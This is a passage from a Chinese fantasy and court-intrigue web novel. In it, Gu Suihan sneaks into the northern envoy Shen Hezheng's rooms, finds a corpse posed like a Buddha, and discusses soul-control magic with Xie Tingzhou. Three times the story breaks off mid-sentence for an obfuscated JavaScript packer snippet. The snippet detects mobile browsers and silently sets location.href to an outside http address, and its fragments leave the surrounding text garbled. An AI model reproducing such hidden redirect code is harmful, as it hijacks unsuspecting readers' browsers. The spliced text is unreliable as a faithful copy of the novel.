沈和正,很有可能在北周有着比一个单纯的归雁台之主更复杂的身份,才能支撑他在几乎不惊动所有人的情况下出使南盛,还提出了堪称丰厚的条件。 可是他又是为什么要讲和?如果他来南盛只是为了讲和,那么他又为什么要在宴席上分个身来逗猫似的逗她? 他到底是怎么同时出现在几个地方的? 顾岁寒深深捂住脸,感觉这些事简直是扑朔迷离。宋安澜看她迟迟不说话,脸色也不好看,也不知如何是好,只好把人又往怀里搂了搂:“梅臣,到底是怎么了?要不要再喝点水,哪里不舒服?” “我……”顾岁寒长长地出了口气,想说些什么,可最后还是摇了摇头,“……殿下,你先让我静静吧,陛下那边,我自有分说,好吗?” 宋安澜看起来似乎还想再说些什么,姬昀却是品出了气氛不对,朝着她使了个眼色,拉着她的袖子走开了,临走前还贴心地关上了门。 屋子里一下子陷入了寂静之中。夜已经深了,月亮还没完全升起来,窗外一片漆黑。她在床上又坐了片刻,猛得起身,走到窗边拉开窗子。 虽说白天还十分燥热,但毕竟是入了秋,更深露重,她一下子就感觉身上凉了起来。夜风灌了进来,吹熄了屋里唯一的蜡烛。 整座屋子一下子隐没进了夜色中。顾岁寒就站在窗边,向外看去,才发现不知是有心还是无意,分给宋安澜的这座小院和沈和正住的地方极近。从她站的地方看,正好能看见沈和正卧房的窗子。 看上去沈和正似乎也还没睡,一个高大的阴影映在纱帘糊的床上,随着烛火微微跳动。 那身影与顾岁寒记忆中青州小院的人分毫不差地吻合,暴雪中的记忆呼啸而上吞没了她。她头痛欲裂,一时间竟是站不住,顺着墙滑到了地上,废了很大力气才克制住自己没有呻-吟出声。 距她潜入那座无名的小院已经有近一年,连大脑都贴心地帮她清除了痛苦的过去,但身体上的感受依然在,帮她记忆着那段血腥而痛苦的过去。 遗忘的过往并未远去,反而是以另一种形式常伴她身。 她咬着牙等这阵疼痛过去,扶着床边的小几站了起来。似乎是因为宋礼此次来上林苑的决定比较匆忙,宫人也没来得及打扫干净各个角落,这小几的边上积了一层灰,全都沾到了顾岁寒手上。 她盯着自己的掌心。灰黑的印记之下,是纵横交错的好几道旧伤疤,连她自己都说不出那是什么时候、被什么所伤的。 看着这些伤,不知为何,一股热流渐渐在她心底流淌,那种饱胀的、酸涩的感受叫她几乎落下泪来。 的确,她不记得很多事。前路也很渺茫,眼下的问题也有很多。周围的人似乎也不可尽信,人心如深海,其下皆为陷阱。 可她明明有能力。她有刀,有剑,有足以傍身的武艺。 那她为什么不去试试解决呢? 她再次朝外看去。沈和正似乎已经睡了,那窗黑了下去。她看着那间屋子,心里似乎忽然有了无穷的勇气。 她披上了外衣,身形如一只雨燕,轻巧地掠出了窗外。 上林苑的另一侧,谢停舟吹熄了蜡烛,坐到榻上,却并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287865|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急躺下入睡,而是伸出左手,缓缓掐算了起来。 白天他一直未曾离席,却也将席间所有事尽收眼底。他坐的角度不佳,看不见顾岁寒藏匿的那棵树,却也从宋安澜的行为把事情经过猜了个八-九不离十。 不同于顾宋二人同沈和正正面交过手的谨慎,他对沈和正反而有种初生牛犊不怕虎般的无畏。他在青城山间长大成人,曾亲眼见过自己的师父因为一次失算差点走火入魔。自那之后他就明白,人算终有尽时,没有人可以算无遗策,也没有人可以手眼通天。 自几日前,忽然有人通知他沈和正要出使南盛,他心中的疑惑就到了顶端。 他虽然驻军西南,对北疆战况也不是全然不知。有时冬季北疆战场繁忙,还会请他过去参谋一二,那也是一年里他为数不多可以和姬泠常常并肩的时光。 由于姬泠最主要的工作不在军中,也不能为外人道,所以很多镇北军将士对她这个“吃白饭的”是颇有微词的。 将士们是这么说,但姬泠真正的功绩,宋安澜、谢停舟他们却是清清楚楚。尤其是谢停舟,不知道从什么时候起,姬泠会把自己基于落棋阁收集到的一些信息而产生的推测讲给他听,而谢停舟总是乐于充当这个倾听者。 关于沈和正,他们曾经有过很多争论。因为师父的原因,姬泠对沈和正总是比较恐惧,而谢停舟却不这么认为。 他总是说:“倘若沈和正当真那么无所不能,北周不早就称霸天下了?” 姬泠便会无奈道:“古蜀有诸葛孔明,也未见得一统天下啊。有才华的人能否施展,也是要看主君的。” 那时北周的皇帝还是小太子他爹。的确,这位老皇帝堪称刚愎自用,手腕也相当了得。据说他和沈和正曾是师兄弟,但传言不知是真是假。 谢停舟就会反驳她:“别的不说,假如沈和正真如你心目中那样厉害,落棋阁在北疆就不会像现在这样顺遂。” 的确,倘若沈和正当真那样算无遗策,他就应该能料到落棋阁在北边的一些小动作。可事实是,除了过分接近他本人的一些行动,落棋阁在北周跟归雁台打得可谓是有来有回,各有折损,而并非是一边倒的局面。 姬泠似乎并不这么认为,可她一般也不愿意和他多争执,一般话说到这份上就会放弃,两方各自“鸣金收兵”。 时至今日,和他讨论这些的女子早已随风远去,北周的局势和现在也大不相同,但沈和正的地位似乎还是没变。但这个看法被这次突然的出使改变了。 之前沈和正从未替北周抛头露面过,他就如同一个背后的阴影,暗中引导着国家的发展。但这次不同,他第一次站到了明面上,替自己的国家辩论,白天他全程旁听了他在席间的言论,他就好像一个再平凡不过的使臣,提出条例、论述好处,向宋礼证明北周的友好与诚意。 这不合常理。他为什么突然变性了? 他的大拇指在指节间逡巡,但毫无章法。现状脱出了他的掌控,但他没有头绪。 假如阿泠还在就好了。 正想着,门扉忽然被轻轻扣响。门外传来顾岁寒压低的声音:“顾将军,睡了吗?” 18. 清平乐 六 夜里的上林苑安静得落针可闻,因而敲门的声音便格外清晰。 敲门声响之后,门里却并无人应答。敲门的黑衣人也并不着急,伸手拽了拽自己的斗篷,以便更好地隐匿进黑暗中。 良久,门“吱呀”一声,一道低沉的声音从里面传出:“进。” 黑衣人迈步跨入门槛,那木门便在他身后又关上了。随着关门声响起,屋内骤然灯火通明,而顾岁寒以为已经就寝的沈和正衣冠整齐地坐在正中-央的椅子上,意味深长地看着这夜半的不速之客:“如何?鄙人按照您的要求做了,却是一无所获,您又该当如何呢?” 那黑衣人不作声,大半张脸都隐匿在黑暗中。沈和正眯着眼等了他半晌,也不知看出了什么,忽然坐直了身子:“……不,你并非和我联络的人,怎么,你家大人就这么畏畏缩缩,连亲自来见我都不敢吗?” “还是说,”沈和正看起来似乎是有些恼了,皮笑肉不笑地看着面前的人,“你家大人其实是怕了,胆小到连手下人都不敢和我坦诚相见?” 那黑衣人终于动了。他伸手将兜帽摘了下来,露出了底下那张苍白的面容。假如顾岁寒在就会发下他长得甚是眼熟——此人就是宴席开场前朝她笑的那个陌生人! 但细细看来,此人与白天也不甚相同。白日时,他脸上还有血色,现下却是一片青白,倘若不是还在喘气,简直就是活脱脱一具行尸走肉。他用漆黑的眼睛看着沈和正,缓缓露出一个僵硬的笑来:“沈大人神威远扬,在下只是个手无缚鸡之力的读书人,自然是不敢冒犯的。” “哦?”沈和正挑眉,“手无缚鸡之力的读书人,却能叫滇国的国主都退避三分,阁下过谦了。” “哪里哪里。”这黑衣人居然还自谦了起来,“在下只是有些傍身的本事罢了。” 沈和正冷笑:“阁下的本事,在下哪怕远在朝歌也有所听闻,只不过百闻不如一见——我面前这个,该不会就是阁下用自己的本事造的传声筒吧!” “沈大人不愧是雁主,实在是慧眼如珠啊。”那黑衣人抚掌赞叹,“所以沈大人也不要对着无辜之人发脾气了,大人就算是将这传声筒五马分-尸大卸八块了,在下也不会如何可惜的。” 这两人都是有手腕的,彼此试探了一番,黑衣人背后的主人半分马脚未露,沈和正却是罕见地在气势上落了下风。他哼笑了一声,往椅背上一靠:“有意思。但我看阁下的这位传声筒似乎在朝中也颇有地位啊,倘若我今夜就将他扣押在此处,过几日那小皇帝回宫发现少了人,会不会派落棋阁彻查呢?” 这话恐怕是踩到了黑衣人的痛点。他木然沉默片刻,脸上的表情忽得又鲜活了起来,只不过这回他的笑就勉强了许多:“不如何,大人。前几日-你手下的大雁就被落棋阁抓了一只,实在不行,我也可以忍痛割爱,把此人也打做你归雁台的人送去。” 话虽这么说,沈和正却是心知此人已是暂退一步,便不再进一步威胁,而是重新坐直了身子,一挥手,面前的茶盏就平平稳稳地浮空送至对方手中:“鄙人开玩笑的,阁下培养这么一个听话的傀儡恐怕也不容易,不妨坐下,彼此敞开谈谈,合作才会更顺利愉快,您说呢?” 那黑衣人顿了顿,反应有些迟钝地接过杯子,在一旁坐下:“雁主问的那个问题,我也无法作答。顾岁寒以前不在朝中,我也与她不熟,如何得知?我也给了您消息,您也是见到她了,至于结果如何,我又怎能保证呢?” 沈和正沉声:“不错,阁下是让我见着她了。可阁下可没说,此女武功远在预料之上!” “这我又如何得知?”黑衣人的声音陡然急促了起来,“要我说,大人才是和顾梅臣熟识的人,她武功是高是低,有几分深浅,阁下关押她一月之久,自己不清楚吗?” 这话倒是叫沈和正沉默了。良久,他不知有了什么盘算,没有继续之前的责问,倒是新开了话头:“阁下叫我做的那些事,出使南盛、求和离间都统统做了,如今是不是到了阁下报答我的时候了?” 这话似乎正是合了黑衣人的意,他微笑开口:“之前承诺给大人的滇北一线自然是会拱手相送的,至于碎曦剑的消息,我也在着人探听。” “阁下可别告诉我一无所获。”沈和正冷笑,无意识地摩挲着手上的扳指,“在下费心劳力这么久,阁下如今的报答却是让在下有些失望的。” “大人不要着急。”黑衣人摆手,“落棋阁里的桩子已经告诉我,顾岁寒收到了消息,言说青州中琅有碎曦剑消息,她已经在规划同谢停舟去此地寻剑。” 这会沈和正却没有轻易买帐:“当真?” “消息是真是假在下可不知道。”黑衣人双手笼进袖子,施施然道,“不过顾岁寒确实要去中琅。大人要是真想一探顾岁寒深浅,去了也不吃亏。” 这话里不知那里触动到了沈和正。他的目光沉默地穿过了窗棂,看向了山坡上那已经黑下来的房间,轻轻挑了一下嘴角:“顾岁寒此人,有意思,我倒很欣赏,只可惜立场不同。” 黑衣人闻言也感兴趣了起来:“怎么个有意思法?我以为大人的心腹大患一直是姬檐雨呢。” “姬檐雨……确实曾是,只可惜她生前我未曾一见。”沈和正不置可否,“宋钟此人,有眼无珠……” “阿嚏!” 另一侧的山麓,顾岁寒打了个喷嚏。谢停舟担忧地看了她一眼:“夜深露重,执棋要不要多穿些?在下这里有大氅。” 顾岁寒摆手:“不打紧。你继续说,陈筑怎么了?” “执棋前几日为了护卫陛下在上林苑忙碌的时候,我和蒋姑娘也在查陈筑无因而死的事。”谢停舟沉声,“执棋应当知道,人死后七日之内,魂魄应当不会走远。但我在陈筑尸身边招魂多次,却一无所获?” 顾岁寒质疑:“可是你之前招姬泠的魂魄也无果,这次会不会是一样的原因?” “不,”谢停舟笃定道,“那时我山高路远,且青州新死鬼多,所以才招不到魂。但此次不同,临安安定日久,死魂稀少,而我就在陈筑尸体身边,不可能招不到。” “那是如何?”顾岁寒彻底摸不着头脑了,“难道这人没魂魄不成?” “正是如此,”谢停舟执壶给顾岁寒的茶杯满上,“执棋且听我细细讲来。” “发现招不了魂时,我想起来了滇国的一种秘术,这种秘术可以将人新死之后的魂魄抽取出来,单独封印以保证此人魂魄不散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304272|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因着魂魄尚在,此人的身体不会腐朽,倘若辅以其他手段,这人的身体就会听从指令行动,一直流传与西南的‘赶尸’传闻便是来源于此。陈筑‘死’前诸多异样举止或许便能理解了。” 谢停舟说到这里,略略停顿,喝了口水继续说:“但蒋姑娘同在下说,她与大人去捉拿陈筑时,陈筑绝对还是活人。这便是在下的不解之处了,但在下想,如果将此秘术略略改进,是不是就可以在人尚活着的时候将魂魄抽出,控制此人,有如那戏台上的傀儡呢?如此一来,陈筑竟能将自己活活折颈而死便可以解释了!” 说到最后,谢停舟神色炽热,竟是有些手舞足蹈了起来,只不过刚一动,他刻在骨子里的教养似乎又制止了他,最终只是将手指在桌沿上磕了两下。 顾岁寒看着他发亮的双眼,却是并不这么想:“你也说是要将此秘术略略改进,可这‘改进’到底是如何改?倘若真是一蹴而就的事,滇国不该早就傀儡横行了吗?” 这话说到了痛点,谢停舟也有些垂头丧气了:“此事在下学艺不精,亦有疑问。在下已然去信给家师,或许家师会有头绪也说不定。” 顾岁寒在心里默默算了算临安到青城山信件往来的速度,想来收到回信也还要些时日。她捋了捋心中疑问,另起话头问:“此事先按下不提,等无有真人回信再说。谢将军,你是否知道有什么手段,叫人可以一分为三,且每个分身都各有神智,可以分开行动的?” 这个疑惑自打她遇见两个“沈和正”时就已然有了。坦诚讲,她虽然不觉得自己武功如何高超,但至少不会在沈和正面前毫无反抗之力,白日里沈和正能占那么大上风纯属他出其不意,外加以二夹一才赢了先手。 谢停舟被问到这,神色明显一动:“怎么?” 顾岁寒就把白日里的事和他一五一十地讲了。谢停舟听完后沉吟片刻:“此术我也未曾亲眼见过,但在在下曾听家师说过。” “前朝还未南退时,有一国师毕生都在钻研魂修之术。一次误打误撞,他的魂魄不小心一分为二,而分出去的那一片魂魄却落地成人,同国师音容如一,旁人和那片魂魄对话,完全分不出两者真假。” “国师大喜,以为自己窥破了天道造人之机,可还没等他想办法复现,那片魂魄的‘存在’就逐渐淡薄了起来,它固然还在,但几乎无人再能注意到它。月余,它就自行消失了,那片魂魄也没能回到国师身上,国师就此成了残魂之人。” 顾岁寒质疑:“但这与白日里我见到的‘沈和正’似乎全然不同,他足足分出了三个,而且最后似乎又合三为一了。” 谢停舟摇头:“这在下就不清楚了。而且国师一事,全属传闻,只知他确乎是魂术大家,我和阿泠交换部分魂魄的术法就传自他。” 他每每提及“阿泠”二字,咬字都极为珍重。这不是顾岁寒第一次注意到,但谢停舟却是第一次在聊旁的正事时提及姬泠。 他对姬泠用情真是至深了,可惜,天道不公,有情-人总是不能善终。顾岁寒想着,摇了摇头:“沈和正这事,我还是觉得有疑……” 话没说完,谢停舟的门第二次被敲响。这次是宋安澜:“梅臣,你在吗?出事了,陛下昏倒了!” 19. 菩萨蛮 一 听到消息,谢停舟直接就站起来了。顾岁寒却是坐在原地没怎么动:“可是,陛下昏倒了,我们两个也帮不上什么忙啊。” 宋安澜缓了口气,解释道:“不是这么简单,来找停舟之前,已经有医修诊治过了,但他也看不出什么来,只说恐怕是魂魄有损。” 顾岁寒和谢停舟对视了一眼。谢停舟想到了什么她不清楚,但她却是陡生疑惑——他们刚刚还在聊陈筑可能是被抽走了魂魄,现在宋礼也魂魄有损。这短短几日内,宫里的魂魄像是被什么人盯上了一般,屡屡出问题。 谢停舟的目光和顾岁寒接触了一瞬后便匆匆挪开,对着宋安澜说道:“我跟你去看看陛下。执棋,你是先在我房中待着还是?” 顾岁寒本来想跟过去,临了又换了想法:“……不,我先回我自己房中了。安澜,有什么事你回来再通知我。” 话一出口她就意识到了不对,她叫“安澜”似乎太过亲昵了。宋安澜闻言也愣了一下,不过很快就回过神来:“好,那你先回去。有事我给你传信。” 顾岁寒点点头,那两人就急匆匆地御剑走了。顾岁寒踱步出谢停舟的房门,看着半空中两人的背影,发现谢停舟的剑还挺特别,在夜空中似乎还有着微微的光亮,像是夏季海浪里的萤火。 想到这里她又是微微一怔。她印象中自己并没有去过海边,但这个比喻就这样福至心灵地出现在了心中。 “真奇怪。”她仰头看着像两道流星似的人影,喃喃道。随后她甩了甩头,徒步向另一个方向走去。 醒来之后她一直想练御剑术,但不知是哪里出了问题,一直不得要领,哪怕成功了也是有些歪歪扭扭,为了安全,她决定还是用脚。 上林苑在的这座山头其实只是临安郊外的一座小野山,并不如原本朝歌郊外的那座那般奇峻。谢停舟分到的这座小院说是在和宋安澜分到的那座在山两侧,但顾岁寒毕竟习武,脚程也快,不出一柱香就到了。 进院门前,她习惯性地回头看了一眼夜色中北周使臣住的院子,它和顾岁寒走前一样,黑漆漆、静悄悄地蛰伏在夜色中。但不知为何,顾岁寒就是觉得哪里有些奇怪,思量再三,她屏住气息,悄悄地靠近了那座院子的后墙。 因着是南迁后才建的行宫,这里的院墙普遍都不高,但也比顾岁寒这中等身材的高出一个头不止。她沿着墙根转了转,感觉就这样也看不出什么,于是一咬牙,干脆一不做二不休,提气上了院墙顶。 这个院子里不止住了沈和正一人,但假如她关于沈和正是自己计划的出使这一猜测正确,这一整个院子里恐怕都是归雁台一系的人,因而她也不敢掉以轻心,整个人像一只黑猫一样静静伏在院墙上,屏息凝神,目光扫视过院子,试图找出自己那点不安感的来源。 但粗看之下,这里似乎没有任何异样。几个屋子都黑黢黢的,门窗都关得严严实实的,一个耳房里还有人睡熟时的呼噜声。 顾岁寒来回看了两遍,实在看不出什么端倪,只好安慰自己是想多了,正准备下墙时,一阵风自背后吹来,顾岁寒微微一顿,意识到了之前哪里不对。 这几日天气燥热无风,夜晚山间固然凉了下来,但是白日里的热气还存在山谷间,所以谷地比山顶要热一些。热气性浮躁,会慢慢升至半空,冷气便会顺着山坡流下,填补热气留下来的空缺【注】,所以晚间,山中的风应该是自山顶吹往山脚的。 但是刚刚她在宋安澜院子门口回头时,风是从高度稍低的使臣院吹往她这里的,而且风力还十分强劲。顾岁寒细细回忆了一番,觉得风里应该还还夹杂着一点类似香灰的气息,可附近却没有佛堂。 刚刚她因为嗅觉迟缓,没有第一时间反应过来,但潜意识却告诉了她此事的不对劲。她缓缓皱起了眉,想要一探究竟,却因为此地是沈和正的地盘,不免犹豫了起来。 正当她进退两难时,忽然有个玄衣卫模样的人敲响了院门。顾岁寒陡然一惊,连忙在有人注意到她之前顺着墙悄无声息地滑了下去,只将耳朵贴在墙上听院子里的动静。 听那玄衣卫的意思,似乎是宋礼那边查出了什么,叫沈和正一行人去协助。沈和正犹豫了一下,叫了几个手下随行,只留了一人在院中守卫。 刚想进院查探,镇山虎就走了,可谓是瞌睡来了递枕头。等人都走远了,顾岁寒连忙翻进了院墙,在墙根处蹲下。那留下来的使团成员住在院子的东北角,人都走了之后就回屋睡下了,顾岁寒于是从西南侧绕过主屋,悄悄将主屋门打开,侧身飞速溜了进去。 她入夜之后眼神就不好,屋里又没什么月光,可谓是两眼一抹黑。为防不小心踢到什么引发动静招来那个还在院子里的使臣,她从袖子里掏出一个鸽蛋大小的夜明珠,光芒正好照亮面前的方寸之地,又不至于引发屋外人的注意。 刚刚一进主屋她就意识到了此地的燃香气格外浓郁,心中对于此地的怀疑更加清晰。她轻轻抬步,想要顺着香灰味的方向看看源头为何,但还没迈出半步,脚上忽然感到一种轻微的阻力。多年训练带给她的直觉让她瞬间停住了步伐,保持着脚上不动,身子弯下去细看。 不出所料,她脚前有一处悬空的丝线。顺着线延伸的方向看去,还有几条交错的丝线悬在半空,线上的小铜铃随着刚刚她那点动作的触动微微晃动。只要刚刚她的动作再大一点,或者没有及时收住,铜铃就会在寂静的夜里乍然奏响,向所有人宣告她这不速之客的到来。 顾岁寒不由得失笑。也是,当年在青州,沈和正那暂时驻扎的小院的地面上都画满了阵法,外人一踏上就会向自己的主人示警。相比之下,这小小的铜铃阵简直是小巫见大巫了。她身体柔软,几个拧转就从线的缝隙间钻了过去,平安落在了另一侧的地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309190|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她正打算继续往前走,忽然又意识到了哪里不对,重新转身向那几处丝线看去。这一看之下,顾岁寒发现了这阵的破绽。 刚刚她未曾触发铃阵,或许并不是因为运气好。这处阵法似乎已经被人触动过或是拆解过了,刚进门的第一条线没有跟其余的线绑好,显得有些仓促。只要进门的人不是什么莽撞之人,一脚踢到好几根线,那么这铃阵应当都是不会发出示警的。 那么,真正的情况到底是前者还是后者呢? 她微微顿了顿,继续向屋里走去。发生过的事可以再推理,但沈和正随时都可能回来,她不想被这人抓个正着,还是先把该查的都查了才是要紧事。 顾岁寒小心翼翼地往里走,越走越觉得奇怪。这屋里似乎曾有过来客,而且主客相处并不尽欢——地上两个被打碎的茶杯就是证明。沈和正这样的武功高手不可能喝个茶还把茶杯打翻了,而且这两个茶杯被摔碎的地方相差甚远,一个离中厅主位更近,一个则是在侧边的客位旁。 她小心地避开锋利的侧缘,捏起了客位旁最大的那片茶杯碎片,放到鼻子边闻了闻,只能闻出这恐怕是个不怎么讲究的男人用过的杯子,杯沿有很明显的口臭味;除此之外,他今天应该还吃过烤羊肉一类的食物,能闻出来一些烤肉香料的味道。 想到这里,顾岁寒心念电转,今天见过的一幕幕在她眼前迅速闪过——她猛然想起,今天白日的赐宴上,为了全往年上林宴的习俗,皇帝应该是有给一些近臣赐烤羊腿肉的! 也就是说,沈和正这位夜半的不速之客很有可能位列其中! 这收获不可谓不大。她将碎片轻轻放回原位,准备明日等宋安澜回来,问问她白天到底有谁吃过那烤肉。 屋里的香灰味越来越浓,她恍惚以为自己身处青灯古佛前,被这味熏得甚至有些睁不开眼。她站起身,顺着香味走进了沈和正的卧房,香味正是从床边地上传来的。顾岁寒眯眼看去,那地上放着一个香盆,几炷香插在里面,有一部分已经烧得见了底,在黑暗中闪着微弱的火光。 但这不是最让她在意的地方。那香插的姿态很像是在祭拜什么人,而顺着这方向看去,被祭拜的床上帘子放了下来,里面隐隐约约有个黑魁魁的影子,盘腿坐在里面。 顾岁寒定了定心神,绕过了地上的香灰,缓步走近那床榻,伸手将帘子挑开。顺着夜明珠的光看清那张脸的瞬间,她手一抖,夜明珠差点没拿稳掉到地上——那不是什么佛像,而是一个披着黑衣的人。 她认出了那张脸的主人正是白天那个冲她冷笑的男人。可诡异的是,从挑开的帘子缝隙看过去,此人犹如一尊真正的佛像,双手合十放在胸-前,垂目微笑着,慈悲地看向帘外的人。 在那与白日里迥异的目光下,顾岁寒一阵恶寒,背后的汗毛根根竖起。倘若她是只猫,她毫不怀疑自己现在已经炸成了一只刺猬。 20. 菩萨蛮 二 说实在话,虽然顾岁寒修道,但她并不太信神佛。那些落不到实处的信仰是不坚定的人才会寻找的精神依靠,而她更倾向于信自己。 毕竟在沈和正的刑房里被折磨时,也没见哪路神仙看在她为国尽忠效力的份上拉一把她。带着她从茫茫雪原里爬出来的是她自己的双手。 但不得不说,哪怕不信,面前这尊人-肉佛像也是很有视觉和精神上的冲击力的。 顾岁寒被那床上的人盯得浑身发毛,心里又惦念着沈和正可能随时返回的事,强忍着不适在屋里又转了两圈,没发现别的可疑之事,才离开了沈和正的房间。这次为防铃阵,她没从门走,而是翻了后窗,做贼一样地飞速跑了。 回到房中之后,她躺在床上,可沈和正床上那张人脸还是在脑中挥之不去。她辗转反侧也没什么睡意,心里愈发烦躁,干脆坐起身,找来了纸笔,开始画那张记忆中的脸。 她还没从宋安澜的院子里出去之前,沈和正是绝对没会见过外人的。也就是说,倘若他不是在短短一段时间里见了好几个人的话,那床上之人应该就是摔杯之人。 想到这里她微微一愣,笔也随之顿住,在洒金的纸面上滴下一个浓墨重彩的点。 刚刚见到那人带给她的冲击力实在是太大了,以至于她忘记确认一个很重要的点了——那人是活的吗? 一般情况下讲,一个人摆成那样的姿势,露出那样的表情,理论上应该是死了的。刚刚屋里那么安静,顾岁寒也没听到这人的心跳声。 可是,一个白天还在活蹦乱跳,半夜三更还在和沈和正摔杯子的人,为什么突然就死了呢?沈和正有什么杀他的理由,又是为什么把人在死后摆成那么一个猎奇的姿势? 顾岁寒现下十分后悔没有摸-摸这人的体温,看看他到底没气了多久。现下天边已经泛起了鱼肚白,远一点的几个院子里已经有了人声,想要再回去查探已经不现实了。 她定下心来,把那幅人像画完,回头带给宋安澜辨认一下,看看此人究竟是谁。画完那幅坐佛图,她想了想,又凭着昨天白天的记忆,把她远远看到的那个挑衅的笑容画了下来。 但出乎顾岁寒意料的是,她一直担心的自己被沈和正撞破的事情其实并不可能发生。画完画后她一直竖着耳朵听前面院子的动静,但直到日上中天,都没有人返回院子。 按照秋猎原本的计划,今天上午皇帝应当会带着群臣到马场跑一圈,练练靶,下午还会有马球。但看样子皇帝应该一直没醒,也没有小太监来通知到底是什么事。 群臣都在自己院里惶惶不安地暂待着,有人派家仆来敲过宋安澜的院门,似乎是想打探消息。顾岁寒不好露面,只好装作家中无人,没有应门。那人敲了几轮之后,似乎就放弃了,没再来过。 整座上林苑陷入了一种茫然又惶惑的气氛之中。 到辰时中时,顾岁寒有些坐不住了。她换了身侍从的衣服,从床底下拽出自己出任务的箱子,打开来找了一张合适的新人皮面具准备换上。 换面具前,她把旧的揭下来,两面刷上面粉,妥善放回箱中。带新面具前,她余光瞥见镜子中的自己,不由得双手微微一顿。 之前她听蒋奚说过,她和姬泠是表姐妹,长相其实十分相似,但姬泠长得更温婉,她长得更英气。但由于两个人都是要带着面具在外面活动的身份,很少人会注意到她们俩的相似和不同。 可她现在已经不记得姬泠长什么样子了。那一场牢狱之灾好像刀笔吏手中改史用的小刀,将她脑海中有关姬泠的部分删的干干净净。 她看着镜子,极力想象那个与自己血脉相连的人的长相,却是失败了。刑讯带来的伤口已经彻底改变了她的面容,哪怕被宋安澜救回来之后她已经极力补救,但一些本来就已经化脓发炎的伤口已经无力回天。 她脸上仍然有一些细碎的旧伤痕迹,最深的一道伤口从她的右耳连接到嘴角。宋安澜说那里曾经是一道豁开的伤口,从外面可以直接看到她的牙齿。 那恐怕是她被审讯时最开始的几道伤口之一,因为她被送回临安时,那道伤的颜色已经很旧了,医修用自己的真元尽力补治,也只是将它尽量恢复到了不影响她正常生活的地步。 宋安澜后来跟她坦诚说,她曾经一度很担心顾岁寒醒来之后会因为这些伤口不开心,但顾岁寒却不以为然。几乎没有出师的棋子身上没有伤疤,武人没有伤好比文人没被弹劾过,几乎都是他们不尽责、无能力的证明。 她把新面具带好,对着镜子让面具四角都服帖,没有明显的痕迹,便站起身理了理衣服准备出门。走到门口时,她习惯性地回头看了一眼屋内,目光落在了书桌上完成的两幅画作上。她略略思索,走回桌边把画好的两幅像抖了抖,确定都晾干了,然后随手叠起来放进了袖筒里,准备等遇见宋安澜时给她看看,指不定能带来什么线索。 顾岁寒凭着自己在上林苑巡查多日的记忆走到了皇帝寝宫附近。这座最大的宫殿挂着“躬行殿”的牌匾,最开始的意思是叫住在此地的人学而躬行,谦卑为怀。 住在这的皇帝躬不躬行她不知道,但来来往往的人都躬着身子,大气不敢出,怎么不能算是“躬行”的一种呢? 顾岁寒远远看着这景象,觉得颇有意思,轻轻笑了一声,然后她想起来自己要扮演的是个小侍从,于是也融入人群,低着身子快步走到门边,掏出镇北侯府的令牌,刚想好声好气求个恩典让她进门,谁知那两人一看令牌,立刻把她放了过去,甚至都没确认一眼她的脸。 顾岁寒顺利进了门。走在石子道上,她想着刚刚两人的态度,猜测目前殿里恐怕是宋安澜在管事。果然,刚走到主殿附近,镇北侯那颇有辨识度的大嗓门就传了出来:“我管他身体不好呢,又不是死了!就算是死了也把尸体给我抬到这来!” 主殿门大开着,各色人等在宋安澜指挥下进进出出,好不忙碌。顾岁寒猜她应该在忙,就没有贸然进去打扰,而是顺着门边溜了进去,找了个不起眼的地方站好。果不其然,宋安澜就站在正中,侧头过去跟个医修模样的人不知在商量什么。姬昀就站在她斜后方,暗中守卫着她。 顾岁寒环视了一圈殿内,发现居然还有不少熟面孔。昨天在宴席上席位靠前的人几乎都在,谢停舟也位列其中。他无所事事地坐在离她站的位置挺近的一个圈椅中,抱着阵盘不知在思索什么。顾岁寒从后面靠近他,轻轻拍了拍他肩膀。 谢停舟顺着力道转过身来,不知为何,视线刚刚相交时,顾岁寒在他眼中看到了一瞬间的怔松。不过很快他就回过神来,而且很明显没有认出她的新伪装,很是有礼地问:“请问阁下有何要事?” “是我,顾岁寒。”谢停舟很明显被她的易容术惊讶到了,眉毛微微挑起。顾岁寒趁周围人都没怎么注意到这个小角落的悄悄话,低声问:“现在是怎么回事?殿下不是叫你来看宋……陛下的吗,怎么如今你倒是闲下来了?” 顾岁寒温热的气息喷吐在谢停舟耳畔。饶是他知道她没有旖旎的意思,出于礼貌还是微微将身体后仰,拉开了一个安全的距离才开口:“此事复杂,执棋,我们移步安静的地方细谈。” 两个人一前一后进了侧殿,掩上了门扉。关门前,顾岁寒注意到宋安澜往这个方向瞥了一眼,顾岁寒冲她眨了眨眼,也不知道对方看出来是自己没有,反正她只是看了一眼,很快就收回了目光。 